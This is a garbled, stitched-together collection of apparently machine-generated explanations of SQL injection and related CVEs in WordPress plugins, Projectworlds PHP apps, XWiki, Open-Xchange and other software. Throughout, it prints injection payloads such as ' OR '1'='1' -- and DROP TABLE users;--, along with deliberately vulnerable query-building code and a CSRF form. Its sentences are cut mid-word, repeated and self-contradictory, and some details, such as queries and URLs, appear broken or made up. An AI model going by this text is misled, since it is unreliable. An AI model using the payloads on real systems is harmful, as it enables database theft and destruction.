erability, the attacker could retrieve the credentials of the currently logged-in user to gain access to th
entially access sensitive information, such as the connection's username.

rs like the impact and exploitability as measured by the Common Vulnerability Scoring System (CVSS).
35tpm8ms144d1t2y.

ty, the user could potentially gain access to sensitive information such as database usernames. This infi
ity is more related to the improper handling of permissions within the software rather than a specific i
uthenticated users to delete arbitrary options from the database, which can lead to a denial of service
issue that leads to a denial of service.

uthorized users.

ilt in the deletion of crucial options from the WordPress database, leading to a denial of service.

.X request to that site with a manipulated option name, causing deletion of database entries that can c
iperset up to but not including 2.1.2. The vulnerability stems from the default examples database conn
ion. Here's a hypothetical scenario: If the examples database connection does not segregate user privi
cility. It is also advisable to review and restrict database connections and privileges to ensure they cont
ut in this case, the information might not have been available or assessed yet.

<https://lists.apache.org/thread/jvgxpk4dbxyqtsgtl4pdgb520rc0rot>. These references should provide addition
eir systems to mitigate the risks associated with this vulnerability.

lking user.

f and <https://github.com/codeigniter4/shield/security/advisories/GHSA-v427-c49j-8w6x>.
or any other method that exposes database content. With the `secretKey` in hand, they could forge a
as database credentials being accessed by unauthorized parties.

us' or by adding the following section in their 'application.yaml' file:```management: endpoints: web

nnnyswhpn3fytsvo.

esdropping, exploiting misconfigurations, or through indirect exposure via other compromised system
could allow an attacker to manipulate configuration file search paths, gain access to the server configu
rce without properly validating it, which can allow an attacker to influence or control which files the a

vulnerability to steal, alter, or corrupt sensitive data, disrupt the monitoring service, or potentially gain control of the system. I provided details about the issue and guidance on mitigation.

I-exposures/. Users are encouraged to visit this link for details on the vulnerability and available updates to determine the locations of its configuration files. By inserting or altering path elements, an attacker can exploit this vulnerability. Following the vendor's security advisories and applying the latest updates are critical steps to mitigate this risk.

:horized actors.

yographical error in the reference URL, and it should likely read '<https://pandorafms.com/security/cve-2023-2222>'. These vulnerabilities are present in specific versions of the system that should not normally allow database backup downloads. Despite their restricted privilege level, they can still be used to gain access to sensitive data. The issue arises from insufficient escaping of a user-supplied parameter and a lack of prepared statements.

p-anything-slider/trunk/wp-anything-slider.php?rev=2827063#L122 and <https://plugins.trac.wordpress.org/ticket/2827063>. This can lead to sensitive data being extracted from the database, manipulated, or lost, potentially allowing an attacker to perform SQL injection attacks. The vulnerability arises from the lack of proper input validation and sanitization. The plugin uses the `$_POST['action']` parameter to determine which action to perform. If an attacker submits a crafted request with a value like `wpAnythingSlider_ajax_action=SELECT * FROM wp_posts`, the plugin will execute this SQL query. The plugin also lacks proper preparation of SQL queries, which can lead to SQL injection attacks. Versions up to and including 3.5 are vulnerable to this issue because they insert user-supplied SQL queries into already existing queries through the plugin's shortcode, which lacks proper input validation.

base, manipulate the database, or potentially gain unauthorized administrative access to the site. including 3.5. The plugin developers usually address such vulnerabilities in subsequent updates.

This shortcode is processed by the vulnerable plugin, the SQL commands could be executed, potentially `>x/trunk/popup-with-fancybox.php?rev=2827070#L110` and the WordPress plugin changeset at <https://core.trac.wordpress.org/browser/branches/4.7.1/wp-content/plugins/popup-with-fancybox/popup-with-fancybox.php?rev=2827070#L110> up to and including 1.5.5. This issue arises due to inadequate escaping of user-supplied parameters to SQL injection, it could enable attackers with admin-level access to perform unauthorized database

High-level access can exploit the flaw, it still poses a serious security concern for affected sites.

pend a conditional SQL statement that triggers a delay when evaluated as true. For instance, an attack manipulate the SQL query. Successful exploitation could lead to various malicious outcomes such as extraction as well as a detailed vulnerability report by Wordfence, a security firm that specializes in WordPress security. A network automation tool. Specifically, the issue occurs in versions starting in 2.0.0 up to but excluding

an unprivileged user or an attacker who gains access to these job results.

ain clear text credentials from versions 2.0.X, and rotate any exposed credentials.

ials that were used during the execution of an Onboarding Task. With these credentials, the attacker can execute arbitrary database queries.

`Wiki?query=DELETE%20FROM%20xwikidoc]]` would delete all documents from the database when an`

I generally compromised confidentiality, integrity, and availability of the XWiki instance.
cks.

'admin.SQLToolsGroovy' which deactivates the database query tools.

/, the commit link at <https://github.com/xwiki-contrib/application-admintools/commit/45298b4fbcafc>

s a backup, it is stored in the web root with a predictable file name, making it accessible to unauthenticated users. This isn't properly configured to restrict access to this directory.

cial and educational data stored by the institute using openSIS.

: dump, which can then be used to compromise user accounts (by attempting to crack the password hash). The hashing System has not been determined or made public yet.

)S4ED's official website. Here are the links provided:- <https://github.com/OS4ED/openSIS-Classic- http://openSISBackup07-20-2023.sql>. Additionally, administrators can manually configure .htaccess rules or server configurations to prevent download of the file 'http://[target-site]/opensisBackup07-20-2023.sql', and download the database dump. The attacker could use this to allow an attacker to create unnecessary Derby databases, fill up disk space, execute malicious code, access sensitive data from the release families where the fix has been backported, which correspond to Java LTS versions 17, 18, and 19. The attack started the Derby server, access and corrupt sensitive data, and execute sensitive database commands.

remote unauthenticated attacker to execute arbitrary SQL commands against the database.

ries, leading to unauthorized access, data exfiltration, or data modification.

www.luxsoft.eu/lcforum/viewtopic.php?id=476.

calendar application's input validation and be executed by the database server, allowing the attacker to perform SQL injection attacks. It is important to apply these updates as soon as possible to prevent potential exploitation by attackers.

A vulnerability was found in ManageEngine's ManageEngine Productivity Suite (MPS) product, which allows an unauthenticated remote attacker to view and extract encryption keys. These keys could then be used to gain unauthorized access to the system.

where the ManageEngine product is installed. The attacker could navigate the file system or use specific queries to extract information from the database. The assessment of its impact has not yet been completed to assign an accurate score.

Refer to the following security research note published by Tenable: <https://www.tenable.com/security/intel/vulnerabilities/137900>. This note provides guidance or patches issued by ManageEngine to remediate the vulnerability. Additionally, it is recommended to update the ManageEngine Productivity Suite product to the latest version to mitigate this vulnerability.

Improper access controls when establishing connections to SQL Server within the COMOS application.

If the attacker has made the connection, they could potentially execute unauthorized SQL queries to reveal sensitive information. Once they have the necessary credentials or a way to bypass authentication, they can directly connect to the database and update accordingly to ensure that only authorized users are able to establish connections to the SQL Server. This document provides detailed information about the nature of the vulnerability, the affected products, and the mitigation steps. In this case, the base score has not been provided or it has not yet been determined.

A vulnerability was found in the User Profile Manager (UPM) component of the COMOS application, which fails to neutralize the inputs, and as a result, the attacker could execute unauthorized SQL queries, potentially allowing an authenticated adjacent attacker to perform SQL injection attacks on the user profile manager. To mitigate the risks associated with this vulnerability, it is recommended to update the UPM component to the latest version and implement proper input validation and sanitization measures.

sory or additional security resources that provide such scoring.

it be inserted into an SQL query by the PUD Manager without proper sanitization, resulting in SQL code being inserted into the database. This could disrupt industrial processes managed by SIMATIC PCS neo or allow the attacker to gain unauthorized access to execute arbitrary SQL code or potentially access and modify data in the application. The potential impact an attacker could have on the confidentiality, integrity, and availability of the application is significant.

o the execution of arbitrary SQL commands, which the attacker could use to read sensitive data from the database without proper sanitization or prepared statements. Here's a hypothetical example:

```
```String userProvidedData = getFromUser();  
String query = "SELECT * FROM users WHERE id = " + userProvidedData;
executeQuery(query);```

This code retrieves a string from the user and concatenates it directly into an SQL query, bypassing proper sanitization. An attacker could manipulate the input to perform unauthorized operations like reading or modifying data.
```

n allow attackers to spoof identity, tamper with existing data, cause repudiation issues such as voiding contracts, and so on. This could lead to retrieval, modification, or deletion of critical data, which in turn can cause the application to fail or compromise user data.

application uses unprepared or unsanitized user input in SQL queries, an attacker could input a string such as ' OR 1=1; --' and, if the application fails to properly sanitize the input, they craft a SQL query that exploits the lack of proper input sanitization in the software. For instance, this could happen via f-strings in all supported database implementations, which could potentially allow a malicious user to gain unauthorized access to the database and the ability to read or modify data, depending on the level of permissions granted to the database user.

commit ID 187c9914a072e70168b6eb, or within the security advisories at <https://github.com/piccolo-orm/piccolo>. The application incorrectly exposes the savepoint naming functionality to user input without proper sanitization.

This issue has not yet been completed by the responsible authority or it could be awaiting analysis.

Another example is the 'Cross-Site Request Forgery (CSRF)' vulnerability in the 'Press-Participants-Database-Plugin'. When an authenticated administrator visits this malicious page or interacts with it, they are performing an unwanted action on a web application where the user is authenticated, potentially leading to account creation or modification. The attack vector is through F tokens: HTML code on a malicious site:

```
```html<form action='http://vulnerable-site.com/settings' method='POST'>  
    <input type='hidden' name='id' value='1' />  
    <input type='submit' value='Update Profile' />  
</form>```

The 'id' parameter is not properly validated, allowing an attacker to insert their own value. If the application does not properly filter input, the attacker's SQL code could be executed by the database engine, potentially leading to data corruption or loss.
```

If you're interested in learning more about SQL injection and other database-related vulnerabilities, I recommend checking out the OWASP Top Ten Project's section on Database Injections (<https://owasp.org/www-project-top-ten/2021/A1-2021-Database-Injection>) and the 'Piccolo' project's security advisories (<https://github.com/piccolo-orm/piccolo/tree/main/security>).

parameter is taken from user input directly \$result = mysql_query('SELECT * FROM profiles WHERE personal information of users, deletion or alteration of data, and potentially full database compromise. Sir ies, particularly within the 'year' parameter in the 'register()' function of the functions.php resource. To the database, which may allow an attacker to read, modify, or delete data. In worst-case scenarios, t

:vulnerable-website.comContent-Type: application/x-www-form-urlencodedaction=register&year=20

information disclosure, where the attacker retrieves sensitive user information, or data manipulation ' parameter of the 'register()' function in the functions.php resource, where input is not properly sanitized. This vulnerability can potentially allow an attacker to access, modify or delete data found on sites like '<https://fluidattacks.com/advisories/ros>' and '<https://projectworlds.in>'. It's always needed, the attacker could manipulate SQL queries by injecting SQL code. This could lead to unauthorized SQL code: 'functions.php?action=register&username=attacker&pass=' OR '1='1' --&email=attacker@example.com' their systems.

CVSS) which provides an open framework for communicating the characteristics and impacts of cyber security vulnerabilities. The 'name' parameter in the 'register()' function of the functions.php file. This means that user input is

query to return all users' information due to the injected OR clause that always evaluates to true and thus or other input mechanism provided by the Online Matrimonial Project. Once executed, the attacker can enter in the 'register()' function of the functions.php resource is affected because it fails to properly validate. The Online Matrimonial Project v1.0 does not validate the input, attackers can inject malicious SQL queries that the database is vulnerable, the attacker might input something like '1 OR 1=1' which would always return true and thus

lead to different outcomes like theft of sensitive user data, such as passwords or personal details; tampering with the database or other parts of the application resource. Specifically, the 'gender' parameter is vulnerable as it doesn't validate the input before passing it to the database. By injecting malicious SQL commands, attackers can bypass validation rules and execute arbitrary SQL queries.

SQL Injectionfunction register(\$username, \$password, \$gender) { \$query = "INSERT INTO users (username, password, gender) VALUES ('\$username', '\$password', '\$gender')"; // Potential SQL injection risk

Only, depending on the database's configuration and privileges, execution of administrative operations can be triggered. This highlights the severity of the vulnerability, its potential impact, and the need for immediate mitigation measures.

An estimate of the severity of vulnerabilities.

This vulnerability is particularly tied to the improper validation of the 'email' parameter in the 'register()' function within the functions.php resource, potentially leading to data leaks, corruption, or loss.

Project Worlds website at <https://projectworlds.in>.

SQL Injectionfunction register(\$email) { \$query = "INSERT INTO users (email) VALUES ('\$email')"; // Potential SQL injection risk

As the input is not properly sanitized before being included in a SQL query, the attacker's input could be executed by the database. This is because the 'register()' function of the functions.php resource fails to properly sanitize user input, leading to the execution of arbitrary SQL commands into the 'day' parameter, which are then executed by the database without any sanitization.

erabilities to gain unauthorized access to sensitive data such as personal details of users, credentials, and more. So an SQL query constructed like this: `SELECT * FROM users WHERE day = '\$day'`, with the value being `/projectworlds.in`.

The attribute of the 'pic4' multipart parameter within the functions.php resource does not properly sanitize user input on the 'filename' attribute to execute arbitrary SQL commands, which could result in unauthorized viewing or modifying data within the database, which could lead to account takeover or fraudulent activity.

Vulnerability:

\$filename = \$_POST['filename']; // User-supplied input from the 'filename' attribute \$sql = "SELECT * FROM users WHERE filename = '\$filename'" In this example, the '\$filename' variable is directly concatenated into the SQL query, leading to unauthorized data access, data manipulation, or even command execution on the unclosed connection. This vulnerability exists due to inadequate validation of user-supplied data in the 'filename' attribute of the 'pic4' multipart parameter in the functions.php resource, which fails to validate input correctly.

Severity: Medium

In this example, the '\$fileName' variable is directly concatenated into the SQL query, leading to unauthorized data access, data manipulation, or even command execution on the unclosed connection. This vulnerability exists due to inadequate validation of user-supplied data in the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource, which fails to validate input correctly.

Impact: The attacker could alter or delete database contents. The attacker could also gain unauthorized access to sensitive data such as personal details of users, credentials, and more.

Attack Vector: The attack vector is the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource.

Attack Surface: The attack surface is the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource.

Attack Type: SQL Injection

Description: The 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource does not properly sanitize user input, which can lead to unauthorized data access, data manipulation, or even full database compromise. It can result in the attacker's input being executed as part of the SQL query. Mitigation strategies might be provided.

CVSS Score: N/A (or the score is pending calculation according to the Common Vulnerability Scoring System (CVSS).)

Impact: The attack vector is the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource.

Attack Vector: The attack vector is the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource. The attack surface is the 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource. The attack type is SQL Injection. Description: The 'filename' attribute of the 'pic1' multipart parameter in the functions.php resource does not properly sanitize user input, which can lead to unauthorized data access, data manipulation, or even full database compromise. It can result in the attacker's input being executed as part of the SQL query. Mitigation strategies might be provided.

curity company named Fluid Attacks, and <https://projectworlds.in>, which could be the website of the ().
a login form: User input for the password field: admin' OR '1'='1'; -- This line assumes that the 'password' parameter in the partner_preference.php resource. This parameter does not adequately validate input before being passed to the SQL query. This can allow an attacker to manipulate the database, injecting malicious SQL code through the input fields, often leading to unauthorized data access, modification, or users experiencing unexpected software behavior.

struction of data. It could also possibly lead to full database compromise, which in the context of an OrderPreference.php. The underlying SQL query might improperly include this input without sanitization, leading to de. Preparing parameterized queries or using stored procedures can also help prevent injection attack <https://cvedetails.com/advisories/ros> and the Projectworlds website at <https://projectworlds.in>.

mediation levels.

s within the application. Specifically, the vulnerability is related to the 'txt_password' parameter in the index.php resource. Because the application does not filter or validate the characters received, the malicious SQL code could be injected.

<https://cvedetails.com/advisories/netrebko>', and the Projectworlds website at '<https://projectworlds.in>'.
ous operations like dropping tables, which could lead to a denial of service. An attacker could use this vulnerability to proper validation of the 'txt_uname_email' parameter in the index.php resource. This parameter accepts input from the user and its database.

input would bypass authentication checks if the system does not properly sanitize the input, and it could lead to a denial of service.

ese sources may provide additional details about the vulnerability and any available patches or workarounds. An attacker could use this flaw to gain unauthorized access to the database by corrupting data or personal information, modify or delete data, carry out a denial of service attack by corrupting data, or exploit the flaw arises because the application does not properly validate inputs before passing them to the database.

and execution on the host system. This could occur through crafted inputs submitted to the 'txt_upass' parameter.

For example: ' OR '1'='1'; --, which could trick the SQL engine into executing an unintended command instead of returning the expected results. This could be done by exploiting the lack of proper validation of the 'txt_uname_email' parameter in the index.php resource, which fails to adequately sanitize input before passing it to the database, potentially allowing attackers to manipulate SQL queries executed by the database, leading to unauthorized access to the database.

`$query = "SELECT * FROM users WHERE username = '$txt_uname';"; $result = mysqli_query($connection, $query);"` In this example, the attacker could use this vulnerability to gain unauthorized access to the database, corrupt data, or gain administrative rights. Such actions could compromise the security and integrity of the database.

<https://cvedetails.com/advisories/netrebko> and further resources or examples might be available at <https://projectworlds.in>.

ation's lack of proper input validation would allow this query to be passed directly to the database, thus bypassing any input validation that may be present.

the application.

`DROP TABLE users;`--When the application sends this unfiltered input to the database, it could execute the command to drop the table, delete data, inject rogue administrator accounts, or perform denial of service by damaging database integrity.

lpe user-supplied parameters adequately and fails to prepare the SQL query securely. As a result, auth

the WordPress website.

www.wordfence.com/threat-intel/vulnerabilities/id/86cdbcfec-b1af-48ec-ae70-f97768694e44?source=ctcode. This could allow them to append their SQL commands to existing queries made by the plugin, thus granting access to sensitive data, database corruption, or loss. An attacker with the ability to inject SQL c

user with the database of the Firewall app.

doing so, the attacker could manipulate the data sent to the Firewall application, potentially leading to Android 12, and 14.1.00.7 for Android 13. These updates contain the necessary fixes to address the impre

d SQL injection, the attacker would infer the database content by observing the responses to their query to access and potentially dump the database connected to the Tyk Gateway through the 'api' endpoint. By manipulating the input, allowing the attacker to manipulate the SQL query to gain unauthorized access to the database.

In API endpoint security, implement input validation, use parameterized queries to prevent SQL injection, and use prepared statements without detection. The attacker might try different types of SQL commands to see how the system behaves. This vulnerability allows an unauthenticated user to gain information about the system, such as the version of Microsoft Hyper-V environments. This vulnerability allows an unauthenticated user to gain information about the system, such as the version of Microsoft Hyper-V environments.

It is important to authenticate to the SQL server, and potentially if successful, they may execute arbitrary code or run scripts or available patches to remedy the vulnerability. It is also important to keep track of updates and risk assessments concerning this vulnerability.

pon finding such an instance, the attacker would exploit the vulnerability to extract sensitive details al s generally not made public to prevent malicious use. However, after understanding the nature of the

cker, who has regular user privileges, to inject JavaScript and perform a Stored Cross-Site Scripting (XS

cker to execute arbitrary JavaScript code in the context of the user's browser session, which can lead to twcert.org.tw/tw/cp-132-7509-5b734-1.html.

No-Code Database Builder's uploading function. When this file is uploaded and rendered by the applica

er validation of the '*_verified' parameter in the user-router.php resource. This allows for the insertion of attackers to manipulate database queries and access or modify sensitive data.

ice the application fails to properly sanitize this input, the SQL code could be executed by the database

trary SQL commands that may lead to complete database compromise; and potentially escalating privilege update from the developers or apply proper input validation and parameterized queries to mitigate th '*_role' parameter in user-router.php is not properly sanitized, allowing an attacker to send malicious

ess, data manipulation, and in some cases, command execution on the database server, thereby comp

ection vulnerability arises due to insufficient input sanitization.

details such as technical write-ups, patches, and mitigation steps.

, extract sensitive data, modify or delete information, or even execute administrative operations on th such as: ``GET /router/user-router.php?admin_role=' OR '1='1' -- ``This SQL injection attack can trick the *_deleted' parameter in the routers/user-router.php resource does not properly validate input, allowi

within the routers/user-router.php resource. This can lead to unauthorized access, data manipulatio

request to the server with the '*_deleted' parameter containing: ?*_deleted=1' OR '1='1' --. This wil

denial of service attacks, or potentially compromise the database and associated server. Since the app

pecifically related to the handling of the 'id' parameter within the 'add-ticket.php' resource, where inf

injecting malicious SQL code through the 'id' parameter.

er could submit a request like '/routers/add-ticket.php?id=' OR '1='1' -- ', which may result in unauthor

omise of the database of the Online Food Ordering System. This could lead to sensitive information di

acks, which documents the vulnerability at '<https://fluidattacks.com/advisories/hann>', and Project Wc

i Vulnerability Scoring System (CVSS), which is a standard measure for evaluating the severity of securi

s against potential exploitations.

abilities. Specifically, the vulnerability arises because the '*_balance' parameter in the 'routers/user-rc

not properly sanitized before being used in a SQL query, the injected code could be executed by the da

'];\$balance = \$_POST['balance']; // This is the vulnerable parameter\$sql = "SELECT * FROM users WHERE

'<https://projectworlds.in/>' for more details or further updates on the vulnerability.

is recommended once the score is published.

The interface has a form that allows users to check their account balance, the attacker could inject a SQL

ectworlds.in/.

is unfiltered, the query is executed directly on the database, allowing the attacker to retrieve or manipulate data. Sanitizing or ORM libraries to handle SQL queries could also greatly reduce the risk of SQL Injection attacks. Specifically, the 'phone' parameter in the routers/register-router.php resource is not properly

ould lead to unauthorized access to database contents, modification, or deletion of data. For example, mechanisms, reading sensitive data from the database, executing administrative operations on the database

parameter of the menu-router.php resource is not properly validated. This oversight allows unfiltered characters, usually allowing for the unauthorized viewing of data, deletion of data, or even full database compromise. Considering System v1.0. Since the parameter isn't properly sanitized, the attacker's input is executed as parameters, including extracting sensitive data from the database, modifying or corrupting data, deleting tables

additional insights or related information at '<https://projectworlds.in/>'. It is recommended to consult documentation for the 'phone' parameter of the routers/details-router.php resource. The vulnerability arises because the application fails to sanitise or restrict the characters received in this parameter, attackers can then attempt to manipulate SQL queries to achieve various malicious objectives. These objectives could include injecting a string in the 'phone' parameter. For instance, the attacker could use the following URL-encoded input information stored in the Online Food Ordering System's database. Additionally, the attacker could use '<https://projectworlds.in/>'. These sources may provide detailed insights, mitigation steps, or proof of concept for the 'type' parameter of the routers/add-ticket.php resource, which results in unfiltered characters insertion. Such attacks could lead to unauthorized access to database contents, manipulation of database records. As not properly validate user input, attackers can inject arbitrary SQL queries to be executed by the database. For example, <main>/routers/add-ticket.php?type=' OR '1'='1' --> This payload could trick the application into executing a command on the project website which might have additional context or patches, located at <https://projectworlds.in/>.

Validation on all parameters to ensure only expected data types and formats are processed.- Use prepared statements to prevent SQL injection attacks.

ed to the database, leading to potential SQL Injection attacks.

initially gain unauthorized access to the system.

SQL query into returning all user records if the input is not sanitized properly. Always test payloads in the application to identify and mitigate such vulnerabilities.

l or validation of input, the attacker can manipulate the SQL query to perform unauthorized actions on

includes SQL code. For instance, the attacker could use a payload like 'password' OR '1'='1' to trick the credentials, personal customer information, or altering order details. Attackers could also potentially the 'id' parameter in the 'edit-orders.php' resource. The issue stems from the system's failure to prop

ince the parameter does not properly filter input, attackers can manipulate the SQL query to gain unauthorized access. A query that gets created might look like this: `SELECT * FROM orders WHERE order_id = '105 OR 1=1';`
They could also alter order details, insert fraudulent orders, or delete information, which could result in financial loss.

tatus' parameter of the routers/edit-orders.php resource, potentially allowing attackers to send malicious requests. Attackers can inject malicious SQL statements into database queries, potentially leading to unauthorized access. For example, an attacker might construct a URL or HTTP request to the vulnerable application including the following: `http://projectworlds.in/api/orders/edit-orders?order_id=105 OR 1=1;` This could result in the deletion of all orders, disruption of the application's availability, and possibly a complete takeover of the database. It's important for system administrators of the Online Food Ordering System to stay updated with security patches and mitigation advice from sources like fluidattacks.com/advisories/hann and <https://projectworlds.in/>. It's advisable to consult these sources for more detailed information on how to mitigate this vulnerability.

ed' parameter within the 'add-users.php' resource, which does not sanitize input, allowing attackers to craft SQL injection attacks. If the input is not properly sanitized before being passed to the database, the attacker can potentially read, modify, or delete data.

' TABLE users; --. This input could cause the underlying SQL command to be altered, potentially dropping or corrupting the entire database. It's important to note that such an attack could result in the attacker gaining administrative control of the application's database, leading to a complete compromise of the system.

For more detailed information on how to mitigate this vulnerability, how to detect it, and the steps for mitigation, refer to the official documentation of the application's framework or library.

Specifically, the issue arises because the 'deleted' parameter of the routers/add-users.php resource does not properly validate user input, potentially bypassing authentication mechanisms, and potentially compromising the database server or the entire system.

Attackers can exploit this vulnerability by sending a crafted request to the 'add-users.php' endpoint at <https://projectworlds.in/>.

For example, an attacker could craft a request to the affected add-users.php page like this: `http://example.com/api/users/add?username=attacker' OR '1=1`

o the database, leading to SQL Injection attacks.

SQL query like this: ```php\$contact = \$_POST['contact'];\$query = "INSERT INTO users (contact) VALUES ('!potentially gaining administrative access to the Online Food Ordering System, compromising the integrity of the system. This may result in unauthorized access to or manipulation of database contents, leading to sensitive user information, manipulate database entries, create new user accounts with administrative privileges, and potentially leading to a full system compromise.

stem, where the 'username' parameter of the routers/add-users.php resource does not properly validate input before it is used in database queries, leaving the application vulnerable to SQL injection attacks. This may allow them to bypass authentication, extract sensitive data from the database

:m/routers/add-users.php?username=' OR '1'='1-- This SQL code is designed to always evaluate to true, potentially gaining administrative access to the Online Food Ordering System, compromising the integrity of the system. This may result in unauthorized access to or manipulation of database contents, leading to sensitive user information, manipulate database entries, create new user accounts with administrative privileges, and potentially leading to a full system compromise.

:<https://projectworlds.in/>

se the 'role' parameter in the routers/add-users.php resource does not properly sanitize input before it is used in database queries, leaving the application vulnerable to SQL injection attacks. This may result in unauthorized access to or manipulation of database contents, leading to sensitive user information, manipulate database entries, create new user accounts with administrative privileges, and potentially leading to a full system compromise.

crafted 'role' parameter. The attacker would include SQL syntax that the server does not properly sanitize. 2. Perform input validation and sanitization on all parameters received by the application to ensure they are valid and expected.

the 'password' parameter of the routers/add-users.php resource fails to adequately sanitize input, the application becomes vulnerable to password cracking attacks. Attackers can use common password cracking tools to guess and crack user passwords, giving them unauthorized access to user accounts.

lution, using prepared statements or stored procedures, and employing web application firewalls. Also, the application should implement strong password policies, such as requiring complex passwords and enforcing password expiration.

:<https://projectworlds.in/>.

ters/add-users.php resource does not properly filter input before it is used in database queries, leaving the application vulnerable to SQL injection attacks. This may result in unauthorized access to or manipulation of database contents, leading to sensitive user information, manipulate database entries, create new user accounts with administrative privileges, and potentially leading to a full system compromise.

rce. Since the application does not properly sanitize the input, these statements can be executed by the attacker, potentially leading to a full system compromise.

query = "INSERT INTO users (name) VALUES ('\$name')"; // Unsafe querymysql_query(\$con, \$query);```

use of an ORM that escapes inputs can prevent SQL injection. Updating the Online Food Ordering System's code to use an ORM like ActiveRecord or Eloquent can help prevent SQL injection attacks.

to SQL Injection.

ers.php looks like this:\$unfiltered_email = \$_POST['email'];\$query = "SELECT * FROM users WHERE email = '\$unfiltered_email'"

e or to retrieve sensitive data such as user details, passwords, and personal information. Attackers can

database, leading to SQL Injection vulnerabilities.

Attacker could insert an SQL payload like 'address=XYZ',0); DROP TABLE users;--' to manipulate the database, and potentially, full system compromise depending on the database privileges of the web application.

This flaw lies within the 'price' parameter of the routers/add-item.php resource, which fails to sanitize the input. Since the parameter does not properly validate the characters received, the SQL code can be executed directly into an entry field for execution.

The application connects to a database using a fixed connection string. This is a common security mistake since it makes the application more vulnerable to SQL injection attacks. An attacker could exploit this by sending a query like 'OR 1=1'. The application would then return all rows from the database because the condition is always true. To mitigate this risk, the application should use prepared statements with parameterized queries, employ stored procedures, and regularly update the database driver to support the latest updates related to this vulnerability. Additionally, security advisories or community forums like ProjectWorlds can provide information on how to fix this issue. Additionally, visiting the vendor's website, in this case <https://projectworlds.in/>, may provide official patches and workarounds. The flaw is specifically found in the 'name' parameter of the routers/add-item.php resource with a CVSS score of 7.5, indicating high severity. The attack vector is 'Network' and the exploitability is 'Medium'. The impact is 'High'.

For more details, patches, or information on workarounds, refer to the vendor's website or security advisories.

An attacker could exploit this vulnerability by sending a malicious request with the 'name' parameter modified to include SQL code. For example, the attacker may send 'name= OR 1=1' to gain unauthorized access to the database. This could lead to a privilege escalation attack. An attacker with access to the adjacent network and possibly API credentials could exploit this vulnerability to gain unauthorized access to the database.

This vulnerability was identified in the 'imageconverter' service, specifically in the 'Patch_Release_3-0004.json' file. The vulnerability allows an attacker to execute arbitrary SQL statements in the context of the service's database user account. This could lead to a privilege escalation attack. Here is an illustrative code example that might be vulnerable:

```
function getImage(id) { const query = `SELECT * FROM users WHERE id = ${id}`;
```

which implies the attacker needs a certain level of access to the internal network.

The error message is being logged as an error.

This vulnerability was identified in the 'imageconverter' service, specifically in the 'Patch_Release_3-0004.json' file. The vulnerability allows an attacker to execute arbitrary SQL statements in the context of the service's database user account. This could lead to a privilege escalation attack. Here is an illustrative code example that might be vulnerable:

```
function getImage(id) { const query = `SELECT * FROM users WHERE id = ${id}`;
```

which implies the attacker needs a certain level of access to the internal network.

The error message is being logged as an error.

This should help prevent the execution of arbitrary SQL statements via image requests.

ented, users and administrators are urged to apply any provided patches or updates from the vendor at <https://documentation.open-xchange.com/security/advisories/csaf/oxas-adv-2023-0004.json>. These requests to the imageconverter service, embedding SQL code within those requests. If these requests are successful, the application may execute arbitrary SQL statements.

This vulnerability could lead to arbitrary SQL statements being executed in the context of the service's database. External access would typically be restricted.

Security/advisories/csaf/oxas-adv-2023-0004.json and the Release Notes for Patch Release 6.24.3 7.10.6 F

potential exploitation attempts are both blocked and recorded for security monitoring. This includes SQL injection attacks. These attacks could manipulate the database by executing unauthorized SQL code. For example, if the 'category' parameter in the category.php resource, which does not correctly validate input characters, thus allowing SQL injection, is used in a query like:

category; \$result = mysql_query(\$query); ``In this example, the 'category' parameter from the URL is directly concatenated into the SQL query without proper validation.

category.php?category=' OR '1'='1This URL could potentially manipulate the SQL query to return all records from the database, making it vulnerable to SQL Injection.

ELECT * FROM users WHERE username = '\$username"'; // An attacker can input a payload like: admin' OR 1=1This URL could potentially manipulate the SQL query to return all records from the database, making it vulnerable to SQL Injection.

to the database. This makes it vulnerable to SQL Injection.

php resource. The SQL code would be executed unfiltered, potentially allowing the attacker to read, modify, or delete data. For example, if the 'category' parameter in the category.php resource is used in a query like:

category; \$result = mysql_query(\$query); ``In this example, the 'category' parameter from the URL is directly concatenated into the SQL query without proper validation. If the 'category' parameter is not sanitized, an attacker could pass in a string like '' OR '1'='1'; constructing a URL such as 'http://example.com/category.php?category=' OR '1'='1';'

provide detailed analysis, proof of concept, or mitigation steps regarding the vulnerability. It is recommended to upgrade the Open-Xchange Mail System to a version that has rectified these SQL Injection vulnerabilities, and ensuring input is properly sanitized.

y related to the 'date' parameter of the bus_info.php resource. The parameter does not properly validate input. Since the system does not validate or sanitize the input, the malicious SQL code is executed. This can lead to unauthorized access of confidential data, corruption or alteration of database data, and potentially other issues. The severity is rated as 'Medium' and the scoring is pending review.

tworlds.in/These resources may offer detailed advisories, technical analysis, proof of concept code, and

password', 'database');\$date = \$_GET['date']; // User supplied data from a GET variable, which is unsanitized. The bus_info.php resource, which does not properly validate the input, leading to potential SQL injection when used in a query.

leading to a risk of SQL injection.

E bus_id = '\$bus_id"';\$result = mysql_query(\$query);// ... rest of the code to display results?>``In this example, they might try to gain unauthorized access to the database or retrieve sensitive information.

user_query' parameter of the bus_info.php resource. The critical issue here is that the input provided to the mysql_query function can lead to unauthorized data access, data corruption, or loss, and in some cases, could even allow an attacker to execute arbitrary SQL queries. This could lead to unauthorized viewing or manipulation of sensitive data. The severity is rated as 'High'.

os://projectworlds.in/.

ting a request to bus_info.php with a malicious SQL statement, like so: GET /bus_info.php?user_query=SELECT * FROM users WHERE email = 'admin@projectworlds.in'. This particular vulnerability is associated with the 'user_email' parameter in the bus_info.php resource.

ainst the database, which could lead to unauthorized data access, data corruption, or the bypassing of security measures. If the input is not properly sanitized, it could result in an SQL query that is constructed similarly to the following, tricking the application into executing arbitrary SQL statements:

'operly sanitized, it could result in an SQL query that is constructed similarly to the following, tricking the application into executing arbitrary SQL statements. For example, if the user enters ' OR '1'='1' into the user_email field, the application will execute the following query: SELECT * FROM users WHERE email = '' OR ''1''='1''. This will return all records from the users table, bypassing any authentication checks.

erver behind a web application without requiring authentication.

ring with database contents, which can lead to data theft, corruption, or loss.

ip resource. This input could modify the SQL query to return all records from the database or execute commands like DELETE, UPDATE, or INSERT. For example, if the user enters ' OR '1'='1' into the user_email field, the application will execute the following query: DELETE FROM users WHERE email = '' OR ''1''='1''. This will delete all records from the users table.

which helps in understanding the severity of the vulnerability.

nd results. Malicious actors could potentially modify or delete data, causing harm to the integrity of the application.

